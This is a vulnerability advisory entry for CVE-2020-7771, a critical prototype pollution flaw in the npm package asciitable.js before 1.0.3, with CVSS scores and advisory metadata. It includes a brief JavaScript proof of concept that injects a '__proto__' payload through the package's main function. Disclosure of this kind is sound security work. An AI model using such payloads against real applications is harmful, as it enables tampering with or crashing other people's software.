CVE-2020-7771 – asciitable.js
Package
Manager: npm
Name: asciitable.js
Vulnerable Version: >=0 <1.0.3
Severity
Level: Critical
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS: 0.00448 pctl0.62653
Details
Prototype Pollution in asciitable.js The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function. ### PoC ```js var a = require("asciitable.js"); var b = JSON.parse('{"__proto__":{"test":123}}'); a({},b); console.log({}.test) ```
Metadata
Created: 2021-04-13T15:24:59Z
Modified: 2023-09-11T18:53:26Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2021/04/GHSA-5pxj-mhwj-x5gv/GHSA-5pxj-mhwj-x5gv.json
CWE IDs: ["CWE-400"]
Alternative ID: GHSA-5pxj-mhwj-x5gv
Finding: F067
Auto approve: 1